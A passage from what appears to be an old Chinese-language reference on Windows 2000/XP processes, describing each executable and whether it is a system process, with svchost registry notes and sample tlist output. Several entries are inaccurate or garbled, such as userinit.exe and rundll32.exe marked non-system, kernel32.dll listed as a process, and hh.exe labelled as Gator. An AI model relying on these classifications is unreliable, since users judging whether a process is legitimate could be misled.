進程檔: pstores orpstores.exe
進程名稱: ProtectedStorage Service
描述: MicrosoftProtected Storage服務控制保密的內容密碼。是否為系統進程: 否
qttask.exe
進程檔: qttask orqttask.exe
進程名稱: Quick TimeTray Icon
描述: Quick Time工作列圖示在你運行Quick Time的時候啟動。是否為系統進程: 否
realplay.exe
進程檔: realplay orrealplay.exe
進程名稱: Real Player
描述: Real Player是一個媒體播放機用來打開和播放音樂、聲音和Real Media格式的視頻檔。是否為系統進程: 否
rnaapp.exe
進程檔: rnaapp orrnaapp.exe
進程名稱: WindowsModem Connection
描述: Windows Modem連接控制用以控制撥號modem連接。是否為系統進程: 否
rtvscan.exe
進程檔: rtvscan orrtvscan.exe
進程名稱: NortonAntiVirus
描述: NortonAnti-Virus用以掃描你的檔和email中的病毒。是否為系統進程: 否
rundll32.exe
進程檔: rundll32 orrundll32.exe
進程名稱: WindowsRUNDLL32 Helper
描述: WindowsRundll32為了需要調用DLLs的程式。是否為系統進程: 否
sndrec32.exe
進程檔: sndrec32 orsndrec32.exe
進程名稱: WindowsSound Recorder
描述: Windows答錄機用以播放和錄製音效檔(.wav)。是否為系統進程: 否
sndvol32.exe
進程檔: sndvol32 orsndvol32.exe
進程名稱: WindowsVolume Control
描述: Windows聲音控制進程在工作列駐留用以控制音量和音效卡相關。是否為系統進程: 否
spoolss.exe
進程檔: spoolss orspoolss.exe
進程名稱: PrinterSpooler Subsystem
描述: Windows印表機控制副程式用以調用需要列印的內容從磁片到印表機。是否為系統進程: 否
starter.exe
進程檔: starter orstarter.exe
進程名稱: CreativeLabs Ensoniq Mixer Tray icon
描述: 狀態列圖示在Creative Sound Mixer中被安裝。為了Creative音效卡 (Soundblaster)。是否為系統進程: 否
systray.exe
進程檔: systray orsystray.exe
進程名稱: WindowsPower Management
描述: Windows電源管理程式用以控制節能和恢復啟動。是否為系統進程: 否
tapisrv.exe
進程檔: tapisrv ortapisrv.exe
進程名稱: TAPIService
描述: WindowsTelephony (TAPI) 的後臺服務程式。是否為系統進程: 否
userinit.exe
進程檔: userinit oruserinit.exe
進程名稱: UserInitProcess
描述: UserInit程式運行登陸腳本，建立網路連接和啟動Shell殼。是否為系統進程: 否
visio.exe
進程檔: visio orvisio.exe
進程名稱: MicrosoftVisio
描述: MicrosoftVisio是一個圖形化管理軟體。是否為系統進程: 否
vptray.exe
進程檔: vptray orvptray.exe
進程名稱: NortonAntiVirus
描述: NortonAnti-Virus掃描你的檔和email中的病毒。是否為系統進程: 否
vshwin32.exe
進程檔: vshwin32 orvshwin32.exe
進程名稱: McAfeeVirusScan
描述: McAfeeVirusScan是一個反病毒軟體用以掃描你的檔和email中的病毒。是否為系統進程: 否
vsmon.exe
進程檔: vsmon orvsmon.exe
進程名稱: True VectorInternet Monitor
描述: True VectorInternet Monitor是ZoneAlarm個人防火牆的一部分，用以監視網路流經資料和攻擊。是否為系統進程: 否
vsstat.exe
進程檔: vsstat orvsstat.exe
進程名稱: McAfeeVirusScan
描述: McAfeeVirusScan是一個反病毒軟體用以掃描你的檔和email中的病毒。是否為系統進程: 否
wab.exe
進程檔: wab orwab.exe
進程名稱: AddressBook
描述: 在Outlook中的地址薄。用來存放email位址、聯繫資訊。是否為系統進程: 否
webscanx.exe
進程檔: webscanx orwebscanx.exe
進程名稱: McAfeeVirusScan
描述: McAfeeVirusScan是一個反病毒軟體用以掃描你的檔和email中的病毒。是否為系統進程: 否
winamp.exe
進程檔: winamp orwinamp.exe
進程名稱: WinAmp
描述: WinAmp MediaPlayer是一個用來打開音樂、聲音和視頻檔以及用以管理Mp3檔的軟體。是否為系統進程: 否
winhlp32.exe
進程檔: winhlp32 orwinhlp32.exe
進程名稱: WindowsHelp
描述: Windows説明檔察看程式，用來打開説明文檔。該程式被包括在很多的Windows程式中。是否為系統進程: 否
winoa386.mod
進程檔: winoa386 orwinoa386.mod
進程名稱: MS-DOSConsole
描述: WindowsMS-DOS控制台用以DOS命令和腳本。是否為系統進程: 否
winproj.exe
進程檔: winproj orwinproj.exe
進程名稱: MicrosoftProject
描述: MicrosoftProject是一個專案計畫編制程式。是否為系統進程: 否
winroute.exe
進程檔: winroute orwinroute.exe
進程名稱: WinRoute
描述: WinRoute是一個基於Windows的防火牆/路由/連接共用軟體。是否為系統進程: 否
winword.exe
進程檔: winword orwinword.exe
進程名稱: MicrosoftWord
描述: MicrosoftWord是一個文書處理程式包括在MicrosoftOffice。是否為系統進程: 否
winzip32.exe
進程檔: winzip32 orwinzip32.exe
進程名稱: WinZip
描述: WinZip是一個檔案壓縮工具，用於創建，打開和解壓zip文件。是否為系統進程: 否
wkcalrem.exe
進程檔: wkcalrem orwkcalrem.exe
進程名稱: MicrosoftWorks Calendar Reminder
描述: MicrosoftWorks Calendar Reminders工作日程提醒，在幕後處理和顯示彈出計畫的工作日志提醒。是否為系統進程: 否
wkqkpick.exe
進程檔: wkqkpick or wkqkpick.exe
進程名稱: WinZiptraybar icon
描述: WinZip的狀態列圖示，被允許在Winzip啟動時啟動。是否為系統進程: 否
wmplayer.exe
進程檔: wmplayer orwmplayer.exe
進程名稱: WindowsMedia Player
描述: Windows MediaPlayer是一個用來打開和播放音樂，聲音和視頻的軟體。是否為系統進程: 否
wordpad.exe
進程檔: wordpad orwordpad.exe
進程名稱: Wordpad
描述: Wordpad是一個字元編輯器用以打開和編輯txt和rtf檔。是否為系統進程: 否
wowexec.exe
進程檔: wowexec orwowexec.exe
進程名稱: Windows OnWindows Execution Process
描述: Windows OnWindows Execution Support Process和ntvdm.exe作用類似，為了相容16位元應用程式。是否為系統進程: 否
ypager.exe
進程檔: ypager orypager.exe
進程名稱: YahooMessenger Helper
描述: YahooMessenger的狀態列圖示，隨Yahoo Messenger運行，是其一部分。是否為系統進程: 否
windows xp系統進程全攻略最基本的系統進程（也就是說，這些進程是系統運行的基本條件，有了這些進程，系統就能正常運行）:
smss.exe Session Manager
csrss.exe 子系統伺服器進程
winlogon.exe 管理用戶登錄
services.exe 包含很多系統服務
lsass.exe 管理 IP 安全性原則以及啟動 ISAKMP/Oakley (IKE) 和 IP 安全驅動程式。(系統服務)
產生工作階段金鑰以及授予用於互動式客戶/伺服器驗證的服務憑據(ticket)。(系統服務)
svchost.exe 包含很多系統服務
svchost.exe
SPOOLSV.EXE 將檔載入到記憶體中以便遲後列印。(系統服務)
explorer.exe 資源管理器
internat.exe 託盤區的拼音圖示附加的系統進程（這些進程不是必要的，你可以根據需要通過服務管理器來增加或減少）:
mstask.exe 允許程式在指定時間運行。(系統服務)
regsvc.exe 允許遠端註冊表操作。(系統服務)
winmgmt.exe 提供系統管理資訊(系統服務)。
inetinfo.exe 通過 Internet 資訊服務的管理單元提供 FTP 連接和管理。(系統服務)
tlntsvr.exe 允許遠端使用者登錄到系統並且使用命令列運行控制台程式。(系統服務)
允許通過 Internet 資訊服務的管理單元管理 Web 和 FTP 服務。(系統服務)
tftpd.exe 實現 TFTP Internet 標準。該標準不要求用戶名和密碼。遠端安裝服務的一部分。(系統服務)
termsrv.exe 提供多會話環境允許用戶端設備訪問虛擬的 Windows 2000 Professional 桌面會話以及運行在伺服器上的基於 Windows 的程式。(系統服務)
dns.exe 應答對網域名稱系統(DNS)名稱的查詢和更新請求。(系統服務)
以下服務很少會用到，上面的服務都對安全有害，如果不是必要的應該關掉
tcpsvcs.exe 提供在 PXE 可遠端啟動客戶電腦上遠端安裝 Windows 2000 Professional 的能力。(系統服務)
支援以下 TCP/IP 服務：Character Generator, Daytime, Discard,Echo, 以及 Quote of the Day。(系統服務)
ismserv.exe 允許在 Windows Advanced Server 網站間發送和接收消息。(系統服務)
ups.exe 管理連接到電腦的不斷電供應系統(UPS)。(系統服務)
wins.exe 為註冊和解析 NetBIOS 型名稱的 TCP/IP 客戶提供 NetBIOS 名稱服務。(系統服務)
llssrv.exe License Logging Service(system service)
ntfrs.exe 在多個伺服器間維護檔目錄內容的檔同步。(系統服務)
RsSub.exe 控制用來遠端儲存資料的媒體。(系統服務)
locator.exe 管理 RPC 名稱服務資料庫。(系統服務)
lserver.exe 註冊用戶端許可證。(系統服務)
dfssvc.exe 管理分佈於局域網或廣域網路的邏輯卷。(系統服務)
clipsrv.exe 支援“剪貼簿檢視器”，以便可以從遠端剪貼簿查閱剪貼頁面。(系統服務)
msdtc.exe 並列事務，是分佈於兩個以上的資料庫，訊息佇列，檔案系統，或其它事務保護資源管理器。(系統服務)
faxsvc.exe 説明您發送和接收傳真。(系統服務)
cisvc.exe Indexing Service(system service)
dmadmin.exe 磁片管理請求的系統管理服務。(系統服務)
mnmsrvc.exe 允許有許可權的用戶使用 NetMeeting 遠端存取 Windows 桌面。(系統服務)
netdde.exe 提供動態資料交換 (DDE) 的網路傳輸和安全特性。(系統服務)
smlogsvc.exe 配置性能日誌和警報。(系統服務)
rsvp.exe 為依賴品質服務(QoS)的程式和控制應用程式提供網路信號和本地通信控制安裝功能。(系統服務)
RsEng.exe 協調用來儲存不常用資料的服務和管理工具。(系統服務)
RsFsa.exe 管理遠端儲存的檔的操作。(系統服務)
grovel.exe 掃描零備份存儲(SIS)卷上的重複檔，並且將重複檔指向一個資料存儲點，以節省磁碟空間。(系統服務)
SCardSvr.exe 對插入在電腦智慧卡閱讀器中的智慧卡進行管理和存取控制。(系統服務)
snmp.exe 包含代理程式可以監視網路設備的活動並且向網路控制台工作站彙報。(系統服務)
snmptrap.exe 接收由本地或遠端 SNMP 代理程式產生的陷阱消息，然後將消息傳遞到運行在這台電腦上 SNMP 管理程式。(系統服務)
UtilMan.exe 從一個視窗中啟動和配置輔助工具。(系統服務)
msiexec.exe 依據 .MSI 檔中包含的命令來安裝、修復以及刪除軟體。(系統服務)
詳細說明：
win2k運行進程
Svchost.exe
Svchost.exe檔對那些從動態連接庫中運行的服務來說是一個普通的主機進程名。Svhost.exe文件定位在系統的%systemroot%\system32資料夾下。在啟動的時候，Svchost.exe檢查註冊表中的位置來構建需要載入的服務清單。這就會使多個Svchost.exe在同一時間運行。每個Svchost.exe的回話期間都包含一組服務，以至於單獨的服務必須依靠Svchost.exe怎樣和在那裡啟動。這樣就更加容易控制和查找錯誤。
Svchost.exe 組是用下麵的註冊表值來識別。
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Svchost
每個在這個鍵下的值代表一個獨立的Svchost組，並且當你正在看活動的進程時，它顯示作為一個單獨的例子。每個鍵值都是REG_MULTI_SZ類型的值而且包括運行在Svchost組內的服務。每個Svchost組都包含一個或多個從註冊表值中選取的服務名，這個服務的參數值包含了一個ServiceDLL值。
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Service
更多的資訊為了能看到正在運行在Svchost清單中的服務。開始－運行－敲入cmd
然後在敲入 tlist -s （tlist 應該是win2k工具箱裡的冬冬）
Tlist 顯示一個活動進程的清單。開關 -s 顯示在每個進程中的活動服務清單。如果想知道更多的關於進程的資訊，可以敲 tlistpid。
Tlist 顯示Svchost.exe運行的兩個例子。
0 System Process
8 System
132 smss.exe
160 csrss.exe Title:
180 winlogon.exe Title: NetDDE Agent
208services.exe
Svcs: AppMgmt,Browser,Dhcp,dmserver,Dnscache,Eventlog,lanmanserver,LanmanWorkstation,LmHosts,
Messenger,PlugPlay,ProtectedStorage,seclogon,TrkWks,W32Time,Wmi
220 lsass.exe Svcs: Netlogon,PolicyAgent,SamSs
404 svchost.exe Svcs: RpcSs
452 spoolsv.exe Svcs: Spooler
544 cisvc.exe Svcs: cisvc
556 svchost.exe Svcs: EventSystem,Netman,NtmsSvc,RasMan,SENS,TapiSrv
580 regsvc.exe Svcs: RemoteRegistry
596 mstask.exe Svcs: Schedule
660 snmp.exe Svcs: SNMP
728 winmgmt.exe Svcs: WinMgmt
852 cidaemon.exe Title: OleMainThreadWndName
812 explorer.exe Title: Program Manager
1032 OSA.EXE Title: Reminder
1300 cmd.exe Title: D:\WINNT5\System32\cmd.exe - tlist -s
1080 MAPISP32.EXE Title: WMS Idle
1264 rundll32.exe Title:
1000 mmc.exe Title: Device Manager
1144 tlist.exe
在這個例子中註冊表設置了兩個組。
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Svchost:
netsvcs: Reg_Multi_SZ: EventSystem Ias Iprip Irmon Netman Nwsapagent RasautoRasman Remoteaccess SENS Sharedaccess Tapisrv Ntmssvc
rpcss :Reg_Multi_SZ: RpcSs
smss.exe
csrss.exe
這個是使用者模式Win32子系統的一部分。csrss代表客戶/伺服器運行子系統而且是一個基本的子系統必須一直運行。csrss 負責控制windows，創建或者刪除執行緒和一些16位的虛擬MS-DOS環境。
explorer.exe
這是一個用戶的shell（我實在是不知道怎麼翻譯shell），在我們看起來就像任務條，桌面等等。這個進程並不是像你想像的那樣是作為一個重要的進程運行在windows中，你可以從工作管理員中停掉它，或者重新啟動。通常不會對系統產生什麼負面影響。
internat.exe
這個進程是可以從工作管理員中關掉的。
internat.exe在啟動的時候開始運行。它載入由用戶指定的不同的輸入點。輸入點是從註冊表的這個位置
HKEY_USERS\.DEFAULT\Keyboard Layout\Preload 載入內容的。
internat.exe 載入“EN”圖示進入系統的圖示區，允許使用者可以很容易的轉換不同的輸入點。當進程停掉的時候，圖示就會消失，但是輸入點仍然可以通過控制台來改變。
lsass.exe
這個進程是不可以從工作管理員中關掉的。 這是一個本地的安全授權服務，並且它會為使用winlogon服務的授權使用者生成一個進程。這個進程是通過使用授權的包，例如默認的msgina.dll來執行的。如果授權是成功的，lsass就會產生用戶的進入權杖，權杖別使用啟動初始的shell。其他的由使用者初始化的進程會繼承這個權杖的。
mstask.exe
這個進程是不可以從工作管理員中關掉的。這是一個任務調度服務，負責使用者事先決定在某一時間運行的任務的運行。
smss.exe
這個進程是不可以從工作管理員中關掉的。這是一個會話管理子系統，負責啟動用戶會話。這個進程是通過系統進程初始化的並且對許多活動的，包括已經正在運行的Winlogon，Win32（Csrss.exe）執行緒和設定的系統變數作出反映。在它啟動這些進程後，它等待Winlogon或者Csrss結束。如果這些過程時正常的，系統就關掉了。如果發生了什麼不可預料的事情，smss.exe就會讓系統停止回應（就是掛起）。
spoolsv.exe
這個進程是不可以從工作管理員中關掉的。緩衝（spooler）服務是管理緩衝集區中的列印和傳真作業。
service.exe
這個進程是不可以從工作管理員中關掉的。大多數的系統核心模式進程是作為系統進程在運行。
System Idle Process
這個進程是不可以從工作管理員中關掉的。這個進程是作為單執行緒運行在每個處理器上，並在系統不處理其他執行緒的時候分派處理器的時間。
winlogon.exe
這個進程是管理使用者登錄和推出的。而且winlogon在用戶按下CTRL+ALT+DEL時就啟動了，顯示安全對話方塊。
winmgmt.exe
winmgmt是win2000用戶端管理的核心組件。當用戶端應用程式連接或當管理程式需要他本身的服務時這個進程初始化
taskmagr.exe
這個進程呀，哈哈，就是工作管理員了
xp系統進程資訊系統進程
[system process] alg.exe csrss.exe
ddhelp.exe dllhost.exe explorer.exe
inetinfo.exe internat.exe kernel32.dll
lsass.exe mdm.exe mmtask.tsk
mprexe.exe msgsrv32.exe mstask.exe
regsvc.exe rpcss.exe services.exe
smss.exe snmp.exe spool32.exe
spoolsv.exe stisvc.exe svchost.exe
system taskmon.exe tcpsvcs.exe
winlogon.exe winmgmt.exe
一般程式
absr.exe acrobat.exe acrord32.exe
agentsvr.exe aim.exe airsvcu.exe
alogserv.exe avconsol.exe avsynmgr.exe
backWeb.exe bcb.exe calc.exe
ccapp.exe cdplayer.exe charmap.exe
cidaemon.exe cisvc.exe cmd.exe
cmesys.exe ctfmon.exe ctsvccda.exe
cutftp.exe defwatch.exe devldr32.exe
dire****d.exe dreamweaver.exe em_exec.exe
excel.exe findfast.exe frontpage.exe
gmt.exe hh.exe hidserv.exe
icq.exe iexplore.exe irmon.exe
kodakimage.exe loadqm.exe loadwc.exe
mad.exe mcshield.exe mgabg.exe
mmc.exe mobsync.exe mplayer.exe
mplayer2.exe msaccess.exe msbb.exe
msdtc.exe msiexec.exe msimn.exe
msmsgs.exe msoobe.exe mspaint.exe
mspmspsv.exe mysqld-nt.exe navapsvc.exe
navapw32.exe ndetect.exe netscape.exe
notepad.exe ntbackup.exe ntvdm.exe
nvsvc32.exe nwiz.exe osa.exe
outlook.exe photoshop.exe point32.exe
powerpnt.exe pstores.exe qttask.exe
realplay.exe rnaapp.exe rtvscan.exe
rundll32.exe sndrec32.exe sndvol32.exe
spoolss.exe starter.exe systray.exe
tapisrv.exe userinit.exe visio.exe
vptray.exe vshwin32.exe vsmon.exe
vsstat.exe wab.exe webscanx.exe
winamp.exe winhlp32.exe winoa386.mod
winproj.exe winroute.exe winword.exe
winzip32.exe wkcalrem.exe wkqkpick.exe
wmplayer.exe wordpad.exe wowexec.exe
ypager.exe
系統進程描述
system process
進程檔: [systemprocess] or [system process]
進程名稱: Windows記憶體處理系統進程描述: Windows頁面記憶體管理進程，擁有0級優先。是否為系統進程: 是
alg.exe
進程檔: alg or alg.exe
進程名稱: 應用層閘道服務描述: 這是一個應用層閘道服務用於網路共用。是否為系統進程: 是
csrss.exe
進程檔: csrss orcsrss.exe
進程名稱:Client/Server Runtime Server Subsystem
描述: 用戶端服務子系統，用以控制Windows圖形相關子系統。是否為系統進程: 是
ddhelp.exe
進程檔: ddhelp orddhelp.exe
進程名稱: DirectDrawHelper
描述: DirectDrawHelper是DirectX這個用於圖形服務的一個組成部分。是否為系統進程: 是
dllhost.exe
進程檔: dllhost ordllhost.exe
進程名稱: DCOM DLLHost進程描述: DCOM DLL Host進程支援基於COM物件支援DLL以運行Windows程式。是否為系統進程: 是
inetinfo.exe
進程檔: inetinfo orinetinfo.exe
進程名稱: IIS AdminService Helper
描述: InetInfo是Microsoft Internet Infomation Services(IIS)的一部分，用於Debug調試除錯。是否為系統進程: 是
internat.exe
進程檔: internat orinternat.exe
進程名稱: InputLocales
描述: 這個輸入控制圖示用於更改類似國家設置、鍵盤類型和日期格式。是否為系統進程: 是
kernel32.dll
進程檔: kernel32 orkernel32.dll
進程名稱: Windows殼進程描述: Windows殼進程用於管理多執行緒、記憶體和資源。是否為系統進程: 是
lsass.exe
進程檔: lsass orlsass.exe
進程名稱: 本地安全許可權服務描述: 這個本地安全許可權服務控制Windows安全機制。是否為系統進程: 是
mdm.exe
進程檔: mdm ormdm.exe
進程名稱: MachineDebug Manager
描述: Debug除錯管理用於調試應用程式和Microsoft Office中的Microsoft Script Editor腳本編輯器。是否為系統進程: 是
mmtask.tsk
進程檔: mmtask ormmtask.tsk
進程名稱: 多媒體支援進程描述: 這個Windows多媒體幕後程式控制多媒體服務，例如MIDI。是否為系統進程: 是
mprexe.exe
進程檔: mprexe ormprexe.exe
進程名稱: Windows路由進程描述: Windows路由進程包括向適當的網路部分發出網路請求。 是否為系統進程: 是
msgsrv32.exe
進程檔: msgsrv32 ormsgsrv32.exe
進程名稱: Windows信差服務描述: Windows信差服務調用Windows驅動和程式管理在啟動。是否為系統進程: 是
mstask.exe
進程檔: mstask ormstask.exe
進程名稱: Windows計畫任務描述: Windows計畫任務用於設定繼承在什麼時間或者什麼日期備份或者運行。是否為系統進程: 是
regsvc.exe
進程檔: regsvc orregsvc.exe
進程名稱: 遠端註冊表服務描述: 遠端註冊表服務用於訪問在遠端電腦的註冊表。是否為系統進程: 是
rpcss.exe
進程檔: rpcss orrpcss.exe
進程名稱: RPCPortmapper
描述: Windows 的RPC埠映射進程處理RPC調用(遠端模組調用)然後把它們映射給指定的服務提供者。是否為系統進程: 是
services.exe
進程檔: services orservices.exe
進程名稱: WindowsService Controller
描述: 管理Windows服務。是否為系統進程: 是
smss.exe
進程檔: smss orsmss.exe
進程名稱: SessionManager Subsystem
描述: 該進程為會話管理子系統用以初始化系統變數，MS-DOS驅動名稱類似LPT1以及COM，調用Win32殼子系統和運行在Windows登陸過程。是否為系統進程: 是
snmp.exe
進程檔: snmp orsnmp.exe
進程名稱: MicrosoftSNMP Agent
描述: Windows簡單的網路通訊協定代理（SNMP）用於監聽和發送請求到適當的網路部分。是否為系統進程: 是
spool32.exe
進程檔: spool32 orspool32.exe
進程名稱: PrinterSpooler
描述: Windows列印任務控制程式，用以印表機就緒。是否為系統進程: 是
spoolsv.exe
進程檔: spoolsv orspoolsv.exe
進程名稱: PrinterSpooler Service
描述: Windows列印任務控制程式，用以印表機就緒。是否為系統進程: 是
stisvc.exe
進程檔: stisvc orstisvc.exe
進程名稱: Still ImageService
描述: Still ImageService用於控制掃描器和數碼相機連接在Windows。是否為系統進程: 是
svchost.exe
進程檔: svchost orsvchost.exe
進程名稱: ServiceHost Process
描述: Service HostProcess是一個標準的動態連接庫主機處理服務。是否為系統進程: 是
system
進程檔: system orsystem
進程名稱: WindowsSystem Process
描述: MicrosoftWindows系統進程。是否為系統進程: 是
taskmon.exe
進程檔: taskmon ortaskmon.exe
進程名稱: WindowsTask Optimizer
描述: windows任務優化器監視你使用某個程式的頻率，並且通過載入那些經常使用的程式來整理優化硬碟。是否為系統進程: 是
tcpsvcs.exe
進程檔: tcpsvcs ortcpsvcs.exe
進程名稱: TCP/IPServices
描述: TCP/IPServices Application支援透過TCP/IP連接局域網和Internet。是否為系統進程: 是
winlogon.exe
進程檔: winlogon orwinlogon.exe
進程名稱: WindowsLogon Process
描述: Windows NT使用者登陸程式。是否為系統進程: 是
winmgmt.exe
進程檔: winmgmt orwinmgmt.exe
進程名稱: WindowsManagement Service
描述: WindowsManagement Service透過Windows Management Instrumentation data (WMI)技術處理來自應用用戶端的請求。是否為系統進程: 是程式進程
absr.exe
進程檔: absr or absr.exe
進程名稱:Backdoor.Autoupder Virus
描述: 這個進程是Backdoor.Autoupder後門病毒程式創建的。是否為系統進程: 否
acrobat.exe
進程檔: acrobat oracrobat.exe
進程名稱: AdobeAcrobat
描述: AcrobatWriter用於創建PDF文檔。是否為系統進程: 否
acrord32.exe
進程檔: acrord32 oracrord32.exe
進程名稱: AcrobatReader
描述: AcrobatReader是一個用於閱讀PDF文檔的軟體。是否為系統進程: 否
agentsvr.exe
進程檔: agentsvr oragentsvr.exe
進程名稱: OLEautomation server
描述: OLEAutomation Server是Microsoft Agent的一部分。是否為系統進程: 否
aim.exe
進程檔: aim oraim.exe
進程名稱: AOL InstantMessenger
描述: AOL InstantMessenger是一個線上聊天和即時通訊IM軟體用戶端。是否為系統進程: 否
airsvcu.exe
進程檔: airsvcu orairsvcu.exe
進程名稱: MicrosoftMedia Manager
描述: OLE 這是一個用於在硬碟上建立索引檔和資料夾，在Microsoft Media Manager媒體管理啟動時運行的進程。它可以在控制台被禁用。是否為系統進程: 否
alogserv.exe
進程檔: alogserv or alogserv.exe
進程名稱: McAfeeVirusScan
描述: McAfeeVirusScan是一個反病毒軟體用於掃描你的文檔和E-mail中的病毒。是否為系統進程: 否
avconsol.exe
進程檔: avconsol oravconsol.exe
進程名稱: McAfeeVirusScan
描述: McAfeeVirusScan是一個反病毒軟體用於掃描你的文檔和E-mail中的病毒。是否為系統進程: 否
avsynmgr.exe
進程檔: avsynmgr oravsynmgr.exe
進程名稱: McAfeeVirusScan
描述: McAfeeVirusScan是一個反病毒軟體用於掃描你的文檔和E-mail中的病毒。是否為系統進程: 否
backWeb.exe
進程檔: backWeb orbackWeb.exe
進程名稱: BackwebAdware
描述: Backweb是一個Adware（廣告外掛程式，一般是由於安裝某些免費軟體而伴隨安裝上的程式）來自Backweb Technologies。是否為系統進程: 否
bcb.exe
進程檔: bcb orbcb.exe
進程名稱: Borland C++Builder
描述: Borland C++Builder
是否為系統進程: 否
calc.exe
進程檔: calc orcalc.exe
進程名稱: Calculator
描述: MicrosoftWindows計算器程式是否為系統進程: 否
ccapp.exe
進程檔: ccapp orccapp.exe
進程名稱: SymantecCommon Client
描述: Symantec公用應用用戶端包含在Norton AntiVirus 2003和Norton Personal Firewall 2003。是否為系統進程: 否
cdplayer.exe
進程檔: cdplayer orcdplayer.exe
進程名稱: CD Player
描述: MicrosoftWindows包含的CD播放機是否為系統進程: 否
charmap.exe
進程檔: charmap orcharmap.exe
進程名稱: WindowsCharacter Map
描述: Windows字元對應表用來説明你尋找不常見的字元。是否為系統進程: 否
idaemon.exe
進程檔: cidaemon orcidaemon.exe
進程名稱: MicrosoftIndexing Service
描述: 在後臺運行的Windows索引服務，用於説明你搜索檔在下次變得更快。是否為系統進程:
cisvc.exe
進程檔: cisvc orcisvc.exe
進程名稱: MicrosoftIndex Service Helper
描述: MicrosoftIndex Service Helper監視Microsoft Indexing Service (cidaemon.exe) 的記憶體佔用情況，如果cidaemon.exe記憶體使用超過了40M，則自動重新開機該進程。是否為系統進程: 否
cmd.exe
進程檔: cmd orcmd.exe
進程名稱: WindowsCommand Prompt
描述: Windows控制台程式。不像舊的command.com，cmd.exe是一個32位的命令行使用在WinNT/2000/XP。是否為系統進程: 否
cmesys.exe
進程檔: cmesys orcmesys.exe
進程名稱: Gator GAINAdware
描述: Gator GAIN是一個Adware外掛程式（廣告外掛程式，一般是由於安裝某些免費軟體而伴隨安裝上的程式）。是否為系統進程: 否
ctfmon.exe
進程檔: ctfmon orctfmon.exe
進程名稱: AlternativeUser Input Services
描述: 控制Alternative User Input Text Processor (TIP)和Microsoft Office語言條。Ctfmon.exe提供語音辨識、手寫辨識、鍵盤、翻譯和其它使用者輸入技術的支援。是否為系統進程: 否
ctsvccda.exe
進程檔: ctsvccda orctsvccda.exe
進程名稱: CreateCD-ROM Services
描述: 在Win9X創建CD-ROM訪問服務。是否為系統進程: 否
cutftp.exe
進程檔: cutftp orcutftp.exe
進程名稱: CuteFTP
描述: CuteFTP是一個流行的FTP用戶端用於從FTP伺服器上傳/下載檔案。是否為系統進程: 否
defwatch.exe
進程檔: defwatch ordefwatch.exe
進程名稱: NortonAntiVirus
描述: NortonAnti-Virus掃描你的檔和email以檢查病毒。是否為系統進程: 否
devldr32.exe
進程檔: devldr32 ordevldr32.exe
進程名稱: CreateDevice Loader
描述: CreativeDevice Loader屬於Create Soundblaster驅動。是否為系統進程: 否
directcd.exe
進程檔: directcd ordirectcd.exe
進程名稱: AdaptecDirectCD
描述: AdaptecDirectCD是一個用檔案管理員式的介面，燒錄檔到光碟的軟體。是否為系統進程: 否
dreamweaver.exe
進程檔: dreamweaveror dreamweaver.exe
進程名稱: MacromediaDreamWeaver
描述: MacromediaDreamWeaver是一個HTML編輯器用於創建網站和其它類別的HTML文檔。是否為系統進程: 否
em_exec.exe
進程檔: em_exec orem_exec.exe
進程名稱: LogitechMouse Settings
描述: 這是Logitech MouseWare狀態列圖示的進程，用於使用者存取控制滑鼠屬性和察看MouseWare説明。是否為系統進程: 否
excel.exe
進程檔: excel orexcel.exe
進程名稱: MicrosoftExcel
描述: MicrosoftExcel是一個試算表程式包括在Microsoft Office中。是否為系統進程: 否
findfast.exe
進程檔: findfast orfindfast.exe
進程名稱: MicrosoftOffice Indexing
描述: MicrosoftOffice索引程式，用於提高Microsoft Office索引Office文檔的速度。是否為系統進程: 否
frontpage.exe
進程檔: frontpage orfrontpage.exe
進程名稱: MicrosoftFrontPage
描述: MicrosoftFrontPage是一個HTML編輯器用於創建網站和其它類別的HTML文檔。是否為系統進程: 否
gmt.exe
進程檔: gmt orgmt.exe
進程名稱: GatorSpyware Component
描述: Gator Spyware是一個廣告外掛程式，隨Gator安裝和啟動。是否為系統進程: 否
hh.exe
進程檔: hh or hh.exe
進程名稱: GatorWindows Help
描述: Windows Help程式用以打開説明檔和文檔，包括在很多Windows程式中。是否為系統進程: 否
hidserv.exe
進程檔: hidserv orhidserv.exe
進程名稱: MicrosoftHuman Interface Device Audio Service
描述: 後臺服務，用來支援USB音效部件和USB多媒體鍵盤。是否為系統進程: 否
QQ.exe
進程檔: QQ or QQ.exe
進程名稱: QQ
描述: QQ是一個線上聊天和即時通訊用戶端。是否為系統進程: 否
iexplore.exe
進程檔: iexplore oriexplore.exe
進程名稱: InternetExplorer
描述: MicrosoftInternet Explorer網路流覽器透過HTTP訪問WWW萬維網。是否為系統進程: 否
kodakimage.exe
進程檔: kodakimageor kodakimage.exe
進程名稱: Imaging
描述: Kodak Imaging是一個圖片察看軟體。包括在Windows，用以打開影像檔。是否為系統進程: 否
loadqm.exe
進程檔: loadqm orloadqm.exe
進程名稱: MSN QueueManager Loader
描述: MSN QueueManager Loader被隨著MSN Explorer和MSN Messenger安裝。他在一些時候會佔用很多系統資源。 是否為系統進程: 否
loadwc.exe
進程檔: loadwc orloadwc.exe
進程名稱: LoadWebCheck
描述: Load WebCheck用以定制一些Internet Explorer的設定，添加、刪除或者更新用戶profiles設定。是否為系統進程: 否
mad.exe
進程檔: mad ormad.exe
進程名稱: SystemAttendant Service
描述: SystemAttendant Service是Microsoft Exchange Server的幕後程式。它用以讀取Microsoft Exchange的DLLs檔，寫log資訊和生成離線位址薄。是否為系統進程: 否
mcshield.exe
進程檔: mcshield ormcshield.exe
進程名稱: McAfeeVirusScan
描述: McAfeeVirusScan是一個反病毒軟體用以掃描你的檔和email中的病毒。是否為系統進程: 否
mgabg.exe
進程檔: mgabg ormgabg.exe
進程名稱: Matrox BIOSGuard
描述: Matrox BIOS守護進程。是否為系統進程: 否
mmc.exe
進程檔: mmmc ormmc.exe
進程名稱: MicrosoftManagement Console
描述: MicrosoftManagement Console管理控制程式集成了很多的系統控制選項。例如設備管理（系統、硬體）或者電腦許可權控制（Administrative管理工具）。是否為系統進程: 否
mobsync.exe
進程檔: mobsync ormobsync.exe
進程名稱: MicrosoftSynchronization Manager
描述: InternetExplorer的一個組成部分，用以在後臺同步離線察看頁面。是否為系統進程: 否
mplayer.exe
進程檔: mplayer ormplayer.exe
進程名稱: WindowsMedia Player
描述: Windows MediaPlayer是一個用以打開音樂、聲音和視頻檔的軟體。是否為系統進程: 否
mplayer2.exe
進程檔: mplayer2 ormplayer2.exe
進程名稱: WindowsMedia Player
